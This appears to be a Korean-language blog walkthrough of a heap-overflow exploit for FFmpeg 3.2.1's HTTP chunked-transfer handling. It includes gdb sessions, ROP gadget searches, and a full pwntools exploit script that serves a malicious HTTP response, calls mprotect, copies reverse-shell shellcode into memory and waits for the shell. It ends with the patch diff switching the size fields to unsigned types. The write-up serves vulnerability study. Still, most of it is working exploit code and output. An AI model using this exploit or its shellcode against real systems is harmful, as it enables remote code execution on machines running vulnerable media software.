    payload += p64(0x434343434343)

    log.info('Payload sent.')
    p.send(payload)

    p.close()

if __name__ == '__main__':
    main()

RIP를 임의의 값으로 조작하는 스크립트이다.

 

 

 

 

$ python rip.py 
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 127.0.0.1 on port 43540
[+] Connection Success
[*] stack_pivot : 0x5555556e049d
[*] push_rbx_jmp_rdi : 0x5555562fe715
[*] pop_rsp : 0x55555560ef78
[*] Triggered.
[*] Payload sent.
[*] Closed connection to 127.0.0.1 port 43540

스크립트를 실행하여 리스너를 시작해주자.

 

 

 

 

gdb-peda$ r -i http://127.0.0.1:12345 ~/ffmpeg_bin/test.avi
Starting program: /home/ii4gsp/ffmpeg_bin/ffmpeg -i http://127.0.0.1:12345 ~/ffmpeg_bin/test.avi
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 7 (Ubuntu 7.5.0-3ubuntu1~18.04)
  configuration: --prefix=/home/ii4gsp/ffmpeg_build --bindir=/home/ii4gsp/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x4646464646464646 ('FFFFFFFF')
RBX: 0x555556fc01a0 --> 0x5555556e049d (<fill_rgb2xyz_table+461>:       add    rsp,0x58)
RCX: 0x8138
RDX: 0x2d88820c
RSI: 0x555556fc0278 --> 0x300000000
RDI: 0x55555560ef78 (<init+1071>:       pop    rsp)
RBP: 0x555556fc0290 --> 0x555556fc0140 ('A' <repeats 96 times>, "\235\004nUUU")
RSP: 0x555556fc0268 --> 0x424242424242 ('BBBBBB')
RIP: 0x414141414141 ('AAAAAA')
R8 : 0x5555562fe715 --> 0xbfdd7fee7fff3ff
R9 : 0xbdbe131314b9c036
R10: 0x42424242 ('BBBB')
R11: 0x246
R12: 0x800
R13: 0x2d88820c
R14: 0x800
R15: 0x555556fc0278 --> 0x300000000
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x414141414141
[------------------------------------stack-------------------------------------]
0000| 0x555556fc0268 --> 0x424242424242 ('BBBBBB')
0008| 0x555556fc0270 --> 0x434343434343 ('CCCCCC')
0016| 0x555556fc0278 --> 0x300000000
0024| 0x555556fc0280 --> 0x8000000000000000
0032| 0x555556fc0288 --> 0x831
0040| 0x555556fc0290 --> 0x555556fc0140 ('A' <repeats 96 times>, "\235\004nUUU")
0048| 0x555556fc0298 --> 0x0
0056| 0x555556fc02a0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000414141414141 in ?? ()
gdb-peda$ bt
#0  0x0000414141414141 in ?? ()
#1  0x0000424242424242 in ?? ()
#2  0x0000434343434343 in ?? ()
#3  0x0000000300000000 in ?? ()
#4  0x8000000000000000 in ?? ()
#5  0x0000000000000831 in ?? ()
#6  0x0000555556fc0140 in ?? ()
#7  0x0000000000000000 in ?? ()

ROP Chain 부분이 실행되어 RIP가 0x0000414141414141으로 조작되었다.

 

 

 

gdb-peda$ disas avio_read
Dump of assembler code for function avio_read:
   ...
   0x000000000028715d <+253>:   mov    r13d,esi
   0x0000000000287160 <+256>:   mov    rdi,QWORD PTR [rbx+0x28]
   0x0000000000287164 <+260>:   mov    edx,r13d
   0x0000000000287167 <+263>:   mov    rsi,r15
   0x000000000028716a <+266>:   call   r8 // here
   ...
End of assembler dump.
gdb-peda$ b *avio_read+266
Breakpoint 1 at 0x28716a: file libavformat/aviobuf.c, line 540.

 

libavformat/aviobuf.c의 avio_read() 함수의 len = s->read_packet(s->opaque, buf, size); 부분에 breakpoint를 걸어주자.

 

 

 

 

[----------------------------------registers-----------------------------------]
RAX: 0x4646464646464646 ('FFFFFFFF')
RBX: 0x555556fc01a0 --> 0x5555556e049d (<fill_rgb2xyz_table+461>:       add    rsp,0x58)
RCX: 0x8138
RDX: 0x2d88820c
RSI: 0x555556fc0278 --> 0x300000000
RDI: 0x55555560ef78 (<init+1071>:       pop    rsp)
RBP: 0x555556fc0290 --> 0x555556fc0140 ('A' <repeats 96 times>, "\235\004nUUU")
RSP: 0x7fffffffd790 --> 0x800
RIP: 0x5555557db16a (<avio_read+266>:   call   r8)
R8 : 0x5555562fe715 --> 0xbfdd7fee7fff3ff
R9 : 0xbdbe131314b9c036
R10: 0x42424242 ('BBBB')
R11: 0x246
R12: 0x800
R13: 0x2d88820c
R14: 0x800
R15: 0x555556fc0278 --> 0x300000000
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555557db160 <avio_read+256>:      mov    rdi,QWORD PTR [rbx+0x28]
   0x5555557db164 <avio_read+260>:      mov    edx,r13d
   0x5555557db167 <avio_read+263>:      mov    rsi,r15
=> 0x5555557db16a <avio_read+266>:      call   r8
   0x5555557db16d <avio_read+269>:      cmp    eax,0x0
   0x5555557db170 <avio_read+272>:      jle    0x5555557db258 <avio_read+504>
   0x5555557db176 <avio_read+278>:      movsxd rcx,eax
   0x5555557db179 <avio_read+281>:      add    QWORD PTR [rbx+0x48],rcx
Guessed arguments:
arg[0]: 0x55555560ef78 (<init+1071>:    pop    rsp)
arg[1]: 0x555556fc0278 --> 0x300000000
arg[2]: 0x2d88820c
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd790 --> 0x800
0008| 0x7fffffffd798 --> 0x800f6e731cc
0016| 0x7fffffffd7a0 --> 0x100000
0024| 0x7fffffffd7a8 --> 0x0
0032| 0x7fffffffd7b0 --> 0x100000
0040| 0x7fffffffd7b8 --> 0x0
0048| 0x7fffffffd7c0 --> 0x555556fb5608 --> 0x0
0056| 0x7fffffffd7c8 --> 0x800
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00005555557db16a in fill_buffer (s=0x555556fc01a0) at libavformat/aviobuf.c:540
540             len = s->read_packet(s->opaque, dst, len);

call r8이 핵심이 되는데 r8 레지스터는 s->read_packet 함수 포인터 값을 가르키고 있다.

즉 call r8이 되면 조작된 read_packet 함수 포인터가 호출되고 프로그램을 제어할 수 있다.

 

 

 

 

$ objdump -d ~/ffmpeg_bin/ffmpeg | grep mprotect
00000000000b7e90 <mprotect@plt>:
   b7e90:       ff 25 12 c7 20 01       jmpq   *0x120c712(%rip)        # 12c45a8 <mprotect@GLIBC_2.2.5>
  127d26:       e8 65 01 f9 ff          callq  b7e90 <mprotect@plt>
  127d60:       e8 2b 01 f9 ff          callq  b7e90 <mprotect@plt>

다음은 익스플로잇을 하기 위해 메모리 영역을 읽기, 쓰기 및 실행 가능하도록 하기위해 mprotect() 함수를 ROP Chain에 사용할 것이다.

gdb-peda$ vmmap binary
Start              End                Perm      Name
0x0000555555554000 0x000055555657e000 r-xp      /home/ii4gsp/ffmpeg_bin/ffmpeg
0x000055555677e000 0x0000555556819000 r--p      /home/ii4gsp/ffmpeg_bin/ffmpeg
0x0000555556819000 0x000055555685e000 rw-p      /home/ii4gsp/ffmpeg_bin/ffmpeg

바이너리의 쓰기 가능한 영역으로 0x0000555556819000를 찾을 수 있다.

PIE base 주소와 쓰기 가능한 영역의 거리 차이는 0x12C5000 만큼 차이가난다.

PIE base에 0x12C5000 만큼 더해주면 쓰기 가능한 영역을 알아낼 수 있다.

 

 

 

 

$ ropper --file ~/ffmpeg_bin/ffmpeg --search "mov [%], r%x" --quality 1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: mov [%], r%x

[INFO] File: /home/ii4gsp/ffmpeg_bin/ffmpeg
...
0x00000000000d3869: mov qword ptr [rsi], rdx; ret;
...

임의의 위치에 임의의 메모리를 배치하기 위해 사용되는 write-what-where 가젯이다.

특정 메모리 영역에 쉘코드를 복사할 때 사용한다.

 

 

 

 

'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a'
'\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0'
'\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24'
'\x02\x05\x39\xc7\x44\x24\x04\x7f\x01\x01\x01\x48\x89\xe6\x6a\x10'
'\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48'
'\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a'
'\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54'
'\x5f\x6a\x3b\x58\x0f\x05'

사용할 reverse shellcode는 위와 같다.

 

 

 

 

from subprocess import Popen, PIPE
from pwn import *
import time
import socket

headers = '''HTTP/1.1 200 OK
Server: HTTP/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

'''

shellcode = (
    '\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a' +
    '\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0' +
    '\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24' +
    '\x02\x05\x39\xc7\x44\x24\x04\x7f\x01\x01\x01\x48\x89\xe6\x6a\x10' +
    '\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48' +
    '\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a' +
    '\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54' +
    '\x5f\x6a\x3b\x58\x0f\x05')
    
def get_pie_base():
    for line in Popen(['ps', 'aux'], shell=False, stdout=PIPE).stdout:
        if line[67:73] == 'ffmpeg':
            pid = int(line[10:14])
            log.success('Find pid : ' + str(pid))

    maps_raw = open('/proc/%d/maps' % pid).read()

    maps = {}
    for line in maps_raw.splitlines():
        if '/' not in line: continue
        path = line[line.index('/'):]
        path = os.path.realpath(path)
        if path not in maps:
            maps[path]=0

    for lib in maps:
        path = os.path.realpath(lib)
        for line in maps_raw.splitlines():
            if line.endswith(path):
                address = line.split('-')[0]
                maps[lib] = int(address, 16)
                break

    return maps['/home/ii4gsp/ffmpeg_bin/ffmpeg']

def mov_shellcode(address_base, shellcode, pop_rsi, pop_rdx, write_gadget):
    def chunks(l, n):
        for i in range(0, len(l), n):
            yield l[i:i + n]

    ropchain = ''
    for counter, i in enumerate(chunks(shellcode, 8)):
        ropchain += p64(pop_rsi)
        ropchain += p64(address_base + (counter * 8))
        ropchain += p64(pop_rdx)
        ropchain += i.ljust(8, '\x90')
        ropchain += p64(write_gadget)

    return ropchain

def main():
    p = listen(12345)

    rev = listen(1337)

    p.wait_for_connection()
    log.success('Connection Success')

    pie_base = get_pie_base()
    log.success('Find pie_base : ' + hex(pie_base))

    # ROP Gadget
    stack_pivot = pie_base + 0x000000000018c49d # add rsp, 0x58; ret;
    push_rbx_jmp_rdi = pie_base + 0x0000000000daa715 # push rbx; jmp rdi;

    pop_rsp = pie_base + 0x00000000000baf78 # pop rsp; ret;
    pop_rdi = pie_base + 0x00000000000b900f # pop rdi; ret;
    pop_rsi = pie_base + 0x00000000000ba7b6 # pop rsi; ret;
    pop_rdx = pie_base + 0x00000000000b8602 # pop rdx; ret;

    write_gadget = pie_base + 0x00000000000d3869 # mov qword ptr [rsi], rdx; ret;

    mprotect_plt = pie_base + 0xb7e90
    mprotect_segment = pie_base + 0x12c5000
    mprotect_size = 0x500
    mprotect_prot = 0x1 | 0x2 | 0x4 # read, write, executed

    log.info('stack_pivot : ' + hex(stack_pivot))
    log.info('push_rbx_jmp_rdi : ' + hex(push_rbx_jmp_rdi))
    log.info('pop_rsp : ' + hex(pop_rsp))
    log.info('pop_rdi : ' + hex(pop_rdi))
    log.info('pop_rsi : ' + hex(pop_rsi))
    log.info('pop_rdx : ' + hex(pop_rdx))
    log.info('mprotect_segment : ' + hex(mprotect_segment))
    log.info('mprotect_plt : ' + hex(mprotect_plt))

    p.send(headers)

    # Trigger
    p.sendline('-1')
    log.info('Triggered.')
    time.sleep(2)

    payload = ''
    payload += 'A' * 0x8060     # AVIOContext
    payload += p64(stack_pivot) # av_class
    payload += ('B' * 8) * 4    # buffer, buffer_size, buf_ptr, buf_end
    payload += p64(pop_rsp)     # opaque
    payload += p64(push_rbx_jmp_rdi) # read_packet
    payload += ('C' * 8) * 3    # write_packet, seek, pos
    payload += 'DDDD'           # must_flush
    payload += p32(0)           # eof_reached
    payload += 'E' * 8          # write_flag, max_packet_size
    payload += p64(stack_pivot) # checksum
    payload += ('F' * 8) * 11   # Padding to set up the stack for the main ROP

    # ROP Chain
    payload += p64(pop_rdi)
    payload += p64(mprotect_segment)
    payload += p64(pop_rsi)
    payload += p64(mprotect_size)
    payload += p64(pop_rdx)
    payload += p64(mprotect_prot)
    payload += p64(mprotect_plt)

    payload += mov_shellcode(mprotect_segment, shellcode, pop_rsi, pop_rdx, write_gadget)
    payload += p64(mprotect_segment) # jmp shellcode

    log.info('Payload sent.')
    p.send(payload)

    p.close()

    log.info('Please wait for your reverse shell.')
    rev.wait_for_connection()
    log.success('Got shell.')
    rev.interactive()

if __name__ == '__main__':
    main()

쉘을 획득할 수 있는 익스플로잇 코드이다.

익스플로잇 순서는 다음과 같다.

리스너에 연결되면 ffmpeg 프로세스의 pid를 가져온 후 /proc/pid/maps에 있는 PIE base 주소를 알아낸다.

알아낸 PIE base의 주소를 이용해 가젯을 구한다.

힙 오버플로우를 일으켜 AVIOContext 구조체 필드값을 조작한다.

ROP Chain은 다음과 같다.

1. mprotect() 함수를 호출해 쓰기 권한이 있는 영역에 읽기, 쓰기, 실행 권한을 할당

2. 쉘코드를 임의의 메모리 주소에 복사

3. 쉘코드로 점프

 

 

 

 

$ python exploit.py 
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[∧] Waiting for connections on 0.0.0.0:12345
[+] Trying to bind to 0.0.0.0 on port 1337: Done
[▗] Waiting for connections on 0.0.0.0:1337

스크립트를 실행하여 리스너를 실행한다.

 

 

 

 

$ ./ffmpeg -i http://127.0.0.1:12345 test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
  built with gcc 7 (Ubuntu 7.5.0-3ubuntu1~18.04)
  configuration: --prefix=/home/ii4gsp/ffmpeg_build --bindir=/home/ii4gsp/ffmpeg_bin --disable-stripping
  libavutil      55. 34.100 / 55. 34.100
  libavcodec     57. 64.101 / 57. 64.101
  libavformat    57. 56.100 / 57. 56.100
  libavdevice    57.  1.100 / 57.  1.100
  libavfilter     6. 65.100 /  6. 65.100
  libswscale      4.  2.100 /  4.  2.100
  libswresample   2.  3.100 /  2.  3.100

그 후 ffmpeg를 실행하여 리스너를 연결한다.

 

 

 

 

익스플로잇 스크립트에서는 리스너 연결이 설정되고 페이로드가 전달된다.

그 후 리버스 쉘이 실행된다.

 

 

 

 

typedef struct HTTPContext {
    int line_count;
    int http_code;
    /* Used if "Transfer-Encoding: chunked" otherwise -1. */
-    int64_t chunksize;
-    int64_t off, end_off, filesize;
+    uint64_t chunksize;
+    uint64_t off, end_off, filesize;
    char *location;
    HTTPAuthState auth_state;
    HTTPAuthState proxy_auth_state;

취약점 패치를 요약하자면 사이즈에 해당하는 변수 자료형을 부호 없는 자료형으로 변경하였다.

Comments